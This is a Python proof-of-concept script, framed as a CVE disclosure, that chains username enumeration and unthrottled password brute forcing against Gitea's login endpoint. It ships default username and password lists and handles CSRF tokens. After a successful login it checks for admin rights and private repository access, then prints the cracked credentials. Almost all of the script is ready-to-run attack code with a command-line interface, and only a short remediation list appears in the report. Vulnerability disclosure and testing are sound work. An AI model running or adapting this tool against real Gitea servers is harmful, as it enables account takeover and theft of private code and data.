poc_bruteforce.py

#!/usr/bin/env python3
"""
================================================================================
CVE PoC: User Enumeration + Brute Force Attack Chain in Gitea

Affected Software: Gitea
Affected Versions: <= 1.25.4 (and likely earlier versions)
Tested Version: 1.25.4

Vulnerability Type:
  - CWE-203: Observable Discrepancy (User Enumeration)
  - CWE-307: Improper Restriction of Excessive Authentication Attempts

CVSS 3.1 Score: 7.5 (High)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Description:
  Gitea <= 1.25.4 is vulnerable to a chained attack that allows unauthenticated
  attackers to enumerate valid usernames via the login endpoint error messages
  and then perform unrestricted brute force attacks against discovered accounts
  due to the lack of rate limiting.

  The attack chain consists of:
  1. Username enumeration via /user/login - Different responses for
     existing vs non-existing users (timing + response analysis)
  2. Password brute force via /user/login - No rate limiting, account lockout,
     or CAPTCHA protection by default

Impact:
  - Enumeration of valid usernames in the Gitea instance
  - Credential compromise through brute force attacks
  - Full account takeover including administrator accounts
  - Access to private repositories and sensitive data

Proof of Concept:
  python3 poc_CHAIN_002_cve.py --target http://localhost:3000 --userlist users.txt

Author: Security Researcher
Date: 2026-03-10
================================================================================
"""

import requests
import re
import sys
import time
import argparse
import json
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed

# Disable SSL warnings for testing
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class GiteaChainExploit:
    """
    Gitea User Enumeration + Brute Force Attack Chain
    """

    VERSION = "1.1.0"

    # Default password list for brute force
    DEFAULT_PASSWORDS = [
        'admin', 'password', '123456', 'admin123', 'password123',
        'root', 'gitea', 'test', 'guest', 'changeme', 'letmein',
        'welcome', 'monkey', 'dragon', 'master', 'qwerty', '12345678',
        'Admin123', 'Admin@123', 'Admin@123456', 'Admin@654321',
        'Password1', 'Password123', 'P@ssw0rd', 'P@ssword1'
    ]

    # Default usernames to test
    DEFAULT_USERNAMES = [
        'admin', 'administrator', 'root', 'gitea', 'git', 'test',
        'user', 'demo', 'guest', 'operator', 'service', 'system'
    ]

    def __init__(self, target, timeout=10, threads=5, verbose=False, verify_ssl=False):
        self.target = target.rstrip('/')
        self.timeout = timeout
        self.threads = threads
        self.verbose = verbose
        self.verify_ssl = verify_ssl

        # Results storage
        self.confirmed_users = []
        self.compromised_accounts = []
        self.statistics = {
            'enumeration_requests': 0,
            'bruteforce_requests': 0,
            'start_time': None,
            'end_time': None
        }

        # Baseline timing for enumeration
        self.baseline_timing = None

    def log(self, message, level='INFO'):
        """Print timestamped log message"""
        timestamp = datetime.now().strftime('%H:%M:%S')
        prefix = {'INFO': '[*]', 'SUCCESS': '[+]', 'FAIL': '[-]', 'WARN': '[!]'}
        print(f"{timestamp} {prefix.get(level, '[*]')} {message}")

    def debug(self, message):
        """Print debug message if verbose mode enabled"""
        if self.verbose:
            self.log(message, 'INFO')

    def get_csrf_token(self, session, url):
        """Extract CSRF token from HTML page"""
        try:
            resp = session.get(url, timeout=self.timeout, verify=self.verify_ssl)
            match = re.search(r'name="_csrf"\s+value="([^"]+)"', resp.text)
            if match:
                return match.group(1)
        except Exception as e:
            self.debug(f"Failed to get CSRF token: {e}")
        return None

    def check_target_accessible(self):
        """Verify target Gitea instance is accessible"""
        try:
            resp = requests.get(
                f"{self.target}/user/login",
                timeout=self.timeout,
                verify=self.verify_ssl
            )
            if resp.status_code == 200 and 'gitea' in resp.text.lower():
                version_match = re.search(r'Gitea[:\s]+[vV]?([0-9.]+)', resp.text)
                if version_match:
                    return True, version_match.group(1)
                return True, "Unknown"
        except Exception as e:
            return False, str(e)
        return False, "Not a Gitea instance"

    def enumerate_user_login(self, username):
        """
        Vulnerability: CWE-203 - Observable Discrepancy (via Login)

        Enumerate users by analyzing login responses. While Gitea uses generic
        error messages, we can still detect:
        1. Timing differences between existing and non-existing users
        2. Special status pages (prohibited, inactive)

        This is a non-destructive enumeration method.
        """
        session = requests.Session()

        try:
            csrf = self.get_csrf_token(session, f"{self.target}/user/login")
            if not csrf:
                return None, "Failed to get CSRF token", 0

            self.statistics['enumeration_requests'] += 1

            start_time = time.time()
            resp = session.post(
                f"{self.target}/user/login",
                data={
                    '_csrf': csrf,
                    'user_name': username,
                    'password': 'enum_test_wrong_password_12345'
                },
                timeout=self.timeout,
                verify=self.verify_ssl,
                allow_redirects=True
            )
            elapsed = time.time() - start_time

            response_lower = resp.text.lower()

            # Check for special status indicators (definitive enumeration)
            if 'prohibit_login' in response_lower or 'prohibit login' in response_lower:
                return True, "User exists (prohibited login)", elapsed

            if 'active your account' in response_lower or '/user/activate' in resp.url.lower():
                return True, "User exists (inactive)", elapsed

            # Check for generic error (user may or may not exist)
            if 'username or password is incorrect' in response_lower:
                return 'possible', "Possible user (generic error)", elapsed

            return None, f"Unknown response", elapsed

        except Exception as e:
            return None, f"Error: {e}", 0

    def enumerate_user_api(self, username):
        """
        Alternative enumeration via API endpoints.
        Check if user profile is publicly accessible.
        """
        try:
            self.statistics['enumeration_requests'] += 1

            # Try to access user profile
            resp = requests.get(
                f"{self.target}/{username}",
                timeout=self.timeout,
                verify=self.verify_ssl,
                allow_redirects=False
            )

            if resp.status_code == 200:
                return True, "User profile accessible"
            elif resp.status_code == 404:
                return False, "User not found (404)"
            else:
                return None, f"Status {resp.status_code}"

        except Exception as e:
            return None, f"Error: {e}"

    def brute_force_login(self, username, password):
        """
        Vulnerability: CWE-307 - Improper Restriction of Excessive Authentication Attempts

        The login endpoint has no rate limiting, account lockout, or CAPTCHA
        by default, allowing unlimited password guessing attempts.
        """
        session = requests.Session()

        try:
            csrf = self.get_csrf_token(session, f"{self.target}/user/login")
            if not csrf:
                return None, None, "Failed to get CSRF token"

            self.statistics['bruteforce_requests'] += 1

            resp = session.post(
                f"{self.target}/user/login",
                data={
                    '_csrf': csrf,
                    'user_name': username,
                    'password': password
                },
                timeout=self.timeout,
                verify=self.verify_ssl,
                allow_redirects=False
            )

            if resp.status_code in [302, 303]:
                location = resp.headers.get('Location', '')

                if '/user/login' not in location and '/sign_in' not in location.lower():
                    if 'two_factor' in location.lower() or 'webauthn' in location.lower():
                        return 'requires_2fa', session, "Password correct but 2FA enabled"
                    return 'success', session, "Login successful"

            if resp.status_code == 429:
                return 'rate_limited', None, "Rate limiting detected"

            if 'too many' in resp.text.lower():
                return 'rate_limited', None, "Rate limiting detected"

            if 'captcha' in resp.text.lower():
                return 'captcha', None, "CAPTCHA required"

            return 'failed', None, "Invalid credentials"

        except Exception as e:
            return 'error', None, f"Error: {e}"

    def verify_account_access(self, session, username):
        """Verify successful account takeover and gather account information"""
        info = {
            'username': username,
            'logged_in': False,
            'email': None,
            'is_admin': False,
            'is_active': True,
            'repos_accessible': 0
        }

        try:
            settings_resp = session.get(
                f"{self.target}/user/settings",
                timeout=self.timeout,
                verify=self.verify_ssl
            )

            if settings_resp.status_code == 200 and 'Sign In' not in settings_resp.text:
                info['logged_in'] = True

                email_match = re.search(
                    r'id="email"[^>]*value="([^"]+)"',
                    settings_resp.text
                )
                if email_match:
                    info['email'] = email_match.group(1)

            admin_resp = session.get(
                f"{self.target}/admin",
                timeout=self.timeout,
                verify=self.verify_ssl
            )

            if admin_resp.status_code == 200 and 'Dashboard' in admin_resp.text:
                info['is_admin'] = True

            repos_resp = session.get(
                f"{self.target}/api/v1/user/repos",
                timeout=self.timeout,
                verify=self.verify_ssl
            )

            if repos_resp.status_code == 200:
                try:
                    repos = repos_resp.json()
                    info['repos_accessible'] = len(repos)
                except:
                    pass

        except Exception as e:
            self.debug(f"Verification error: {e}")

        return info

    def run_enumeration(self, usernames):
        """Phase 1: Enumerate valid usernames via multiple methods"""
        self.log("Phase 1: Username Enumeration")

        # Deduplicate usernames (case-insensitive, keep first occurrence)
        seen = set()
        unique_usernames = []
        for u in usernames:
            u_lower = u.strip().lower()
            if u_lower and u_lower not in seen:
                seen.add(u_lower)
                unique_usernames.append(u.strip())

        self.log(f"Testing {len(unique_usernames)} unique usernames (from {len(usernames)} input)...")

        results = {}

        # Method 1: Profile access check (most reliable, non-destructive)
        self.log("  Method 1: Profile access check...")
        for username in unique_usernames:
            exists, message = self.enumerate_user_api(username)
            results[username] = {'exists': exists, 'message': message, 'method': 'profile'}

            if exists is True:
                self.log(f"    [+] Confirmed: {username}", 'SUCCESS')
                # Case-insensitive deduplication for confirmed users
                if username.lower() not in [u.lower() for u in self.confirmed_users]:
                    self.confirmed_users.append(username)
            elif exists is False:
                self.debug(f"    [-] Not found: {username}")
            else:
                self.debug(f"    [?] Inconclusive: {username} ({message})")

        # Method 2: Login response analysis for remaining candidates
        self.log("  Method 2: Login response analysis...")
        uncertain = [u for u in unique_usernames if results.get(u, {}).get('exists') is None]

        for username in uncertain:
            exists, message, timing = self.enumerate_user_login(username)

            if exists is True:
                self.log(f"    [+] Confirmed: {username} ({message})", 'SUCCESS')
                if username.lower() not in [u.lower() for u in self.confirmed_users]:
                    self.confirmed_users.append(username)
                results[username] = {'exists': True, 'message': message, 'method': 'login'}

        self.log(f"Enumeration complete: {len(self.confirmed_users)} users confirmed")
        return results

    def run_bruteforce(self, passwords):
        """Phase 2: Brute force passwords for confirmed users"""
        if not self.confirmed_users:
            self.log("No users to brute force", 'WARN')
            return {}

        self.log("Phase 2: Password Brute Force Attack")
        self.log(f"Targeting {len(self.confirmed_users)} users with {len(passwords)} passwords")

        results = {}

        for username in self.confirmed_users:
            self.log(f"  Attacking: {username}")
            results[username] = {'status': 'not_found', 'password': None}

            for password in passwords:
                status, session, message = self.brute_force_login(username, password)

                if status == 'success':
                    self.log(f"    [+] CRACKED: {username}:{password}", 'SUCCESS')

                    account_info = self.verify_account_access(session, username)

                    results[username] = {
                        'status': 'compromised',
                        'password': password,
                        'account_info': account_info
                    }

                    self.compromised_accounts.append({
                        'username': username,
                        'password': password,
                        'info': account_info
                    })
                    break

                elif status == 'requires_2fa':
                    self.log(f"    [~] Password found but 2FA: {password}", 'WARN')
                    results[username] = {
                        'status': '2fa_protected',
                        'password': password
                    }
                    break

                elif status == 'rate_limited':
                    self.log("Rate limiting detected!", 'WARN')
                    results[username] = {'status': 'rate_limited'}
                    break

                elif status == 'captcha':
                    self.log("CAPTCHA required!", 'WARN')
                    results[username] = {'status': 'captcha_protected'}
                    break

        return results

    def test_rate_limiting(self):
        """Test if rate limiting is in place"""
        self.log("Testing rate limiting protection...")

        session = requests.Session()
        test_count = 20
        start = time.time()

        for i in range(test_count):
            csrf = self.get_csrf_token(session, f"{self.target}/user/login")
            resp = session.post(
                f"{self.target}/user/login",
                data={
                    '_csrf': csrf,
                    'user_name': 'rate_limit_test',
                    'password': f'test_password_{i}'
                },
                timeout=self.timeout,
                verify=self.verify_ssl,
                allow_redirects=False
            )

            if resp.status_code == 429 or 'too many' in resp.text.lower():
                elapsed = time.time() - start
                self.log(f"  Rate limiting triggered after {i+1} attempts ({elapsed:.2f}s)", 'WARN')
                return True, i + 1

        elapsed = time.time() - start
        rate = test_count / elapsed
        self.log(f"  No rate limiting: {test_count} attempts in {elapsed:.2f}s ({rate:.1f}/sec)", 'SUCCESS')
        return False, test_count

    def generate_report(self):
        """Generate JSON report of findings"""
        self.statistics['end_time'] = datetime.now().isoformat()

        report = {
            'vulnerability': {
                'title': 'User Enumeration + Brute Force Attack Chain',
                'affected_software': 'Gitea',
                'affected_versions': '<= 1.25.4',
                'cwe_ids': ['CWE-203', 'CWE-307'],
                'cvss_score': '7.5',
                'cvss_vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N',
                'severity': 'High'
            },
            'target': self.target,
            'execution_time': {
                'start': self.statistics['start_time'],
                'end': self.statistics['end_time']
            },
            'statistics': {
                'enumeration_requests': self.statistics['enumeration_requests'],
                'bruteforce_requests': self.statistics['bruteforce_requests'],
                'users_enumerated': len(self.confirmed_users),
                'accounts_compromised': len(self.compromised_accounts)
            },
            'findings': {
                'enumerated_users': self.confirmed_users,
                'compromised_accounts': [
                    {
                        'username': acc['username'],
                        'password': acc['password'],
                        'is_admin': acc['info'].get('is_admin', False),
                        'email': acc['info'].get('email')
                    }
                    for acc in self.compromised_accounts
                ]
            },
            'proof_of_concept': {
                'user_enumeration': {
                    'endpoint': '/{username} (profile) or /user/login',
                    'method': 'GET / POST',
                    'indicator': 'HTTP 200 for existing user profile, 404 for non-existing'
                },
                'brute_force': {
                    'endpoint': '/user/login',
                    'method': 'POST',
                    'indicator': 'No rate limiting or account lockout'
                }
            },
            'remediation': [
                'Disable public user profiles or require authentication',
                'Implement account lockout after N failed login attempts',
                'Enable CAPTCHA for login (REQUIRE_CAPTCHA_FOR_LOGIN=true)',
                'Implement IP-based rate limiting',
                'Consider integrating with Fail2Ban'
            ]
        }

        return report

    def execute(self, usernames=None, passwords=None):
        """Execute the full attack chain"""
        self.statistics['start_time'] = datetime.now().isoformat()

        print("=" * 70)
        print("  Gitea User Enumeration + Brute Force Attack Chain PoC")
        print("  CVE Proof of Concept v1.1")
        print("=" * 70)

        self.log(f"Target: {self.target}")
        accessible, version = self.check_target_accessible()

        if not accessible:
            self.log(f"Target not accessible: {version}", 'FAIL')
            return None

        self.log(f"Gitea version: {version}")

        if usernames is None:
            usernames = self.DEFAULT_USERNAMES
        if passwords is None:
            passwords = self.DEFAULT_PASSWORDS

        # Test rate limiting first
        print()
        has_rate_limit, _ = self.test_rate_limiting()

        if has_rate_limit:
            self.log("Target has rate limiting - brute force may be limited", 'WARN')

        # Phase 1: Enumeration
        print()
        self.run_enumeration(usernames)

        # Phase 2: Brute Force
        print()
        self.run_bruteforce(passwords)

        # Generate report
        report = self.generate_report()

        # Print summary
        print()
        print("=" * 70)
        print("  RESULTS SUMMARY")
        print("=" * 70)
        print(f"""
  Target:                 {self.target}
  Users Enumerated:       {len(self.confirmed_users)}
  Accounts Compromised:   {len(self.compromised_accounts)}
  Total Requests:         {self.statistics['enumeration_requests'] + self.statistics['bruteforce_requests']}
""")

        if self.confirmed_users:
            print("  ENUMERATED USERS:")
            for user in self.confirmed_users:
                print(f"    • {user}")

        if self.compromised_accounts:
            print("\n  COMPROMISED CREDENTIALS:")
            for acc in self.compromised_accounts:
                admin_tag = " [ADMIN]" if acc['info'].get('is_admin') else ""
                print(f"    • {acc['username']}:{acc['password']}{admin_tag}")

            admin_count = sum(1 for acc in self.compromised_accounts if acc['info'].get('is_admin'))
            if admin_count > 0:
                print(f"\n  [!] CRITICAL: {admin_count} ADMINISTRATOR ACCOUNT(S) COMPROMISED")

        print()
        print("=" * 70)

        return report


def main():
    parser = argparse.ArgumentParser(
        description='Gitea User Enumeration + Brute Force Attack Chain PoC',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Basic usage with defaults
  %(prog)s --target http://gitea.local:3000

  # Custom username and password lists
  %(prog)s --target http://gitea.local:3000 --userlist users.txt --passlist passwords.txt

  # Enumeration only
  %(prog)s --target http://gitea.local:3000 --enum-only --userlist users.txt

  # Output JSON report
  %(prog)s --target http://gitea.local:3000 --output report.json
        """
    )

    parser.add_argument(
        '--target', '-t',
        required=True,
        help='Target Gitea URL (e.g., http://localhost:3000)'
    )

    parser.add_argument(
        '--userlist', '-u',
        help='File containing usernames to test (one per line)'
    )

    parser.add_argument(
        '--passlist', '-p',
        help='File containing passwords to test (one per line)'
    )

    parser.add_argument(
        '--threads',
        type=int,
        default=5,
        help='Number of concurrent threads (default: 5)'
    )

    parser.add_argument(
        '--timeout',
        type=int,
        default=10,
        help='Request timeout in seconds (default: 10)'
    )

    parser.add_argument(
        '--enum-only',
        action='store_true',
        help='Only perform username enumeration, skip brute force'
    )

    parser.add_argument(
        '--output', '-o',
        help='Output JSON report to file'
    )

    parser.add_argument(
        '--verbose', '-v',
        action='store_true',
        help='Enable verbose output'
    )

    parser.add_argument(
        '--insecure', '-k',
        action='store_true',
        help='Disable SSL certificate verification'
    )

    args = parser.parse_args()

    # Load username list
    usernames = None
    if args.userlist:
        try:
            with open(args.userlist, 'r') as f:
                usernames = [line.strip() for line in f if line.strip()]
        except Exception as e:
            print(f"Error loading username list: {e}")
            sys.exit(1)

    # Load password list
    passwords = None
    if args.passlist:
        try:
            with open(args.passlist, 'r') as f:
                passwords = [line.strip() for line in f if line.strip()]
        except Exception as e:
            print(f"Error loading password list: {e}")
            sys.exit(1)

    # Create exploit instance
    exploit = GiteaChainExploit(
        target=args.target,
        timeout=args.timeout,
        threads=args.threads,
        verbose=args.verbose,
        verify_ssl=not args.insecure
    )

    # Execute
    if args.enum_only:
        exploit.statistics['start_time'] = datetime.now().isoformat()
        exploit.run_enumeration(usernames or exploit.DEFAULT_USERNAMES)
        report = exploit.generate_report()
    else:
        report = exploit.execute(usernames, passwords)

    # Output report
    if args.output and report:
        try:
            with open(args.output, 'w') as f:
                json.dump(report, f, indent=2)
            print(f"\nReport saved to: {args.output}")
        except Exception as e:
            print(f"Error saving report: {e}")

    # Exit code based on findings
    if report and report['statistics']['accounts_compromised'] > 0:
        sys.exit(0)
    elif report and report['statistics']['users_enumerated'] > 0:
        sys.exit(1)
    else:
        sys.exit(2)


if __name__ == "__main__":
    main()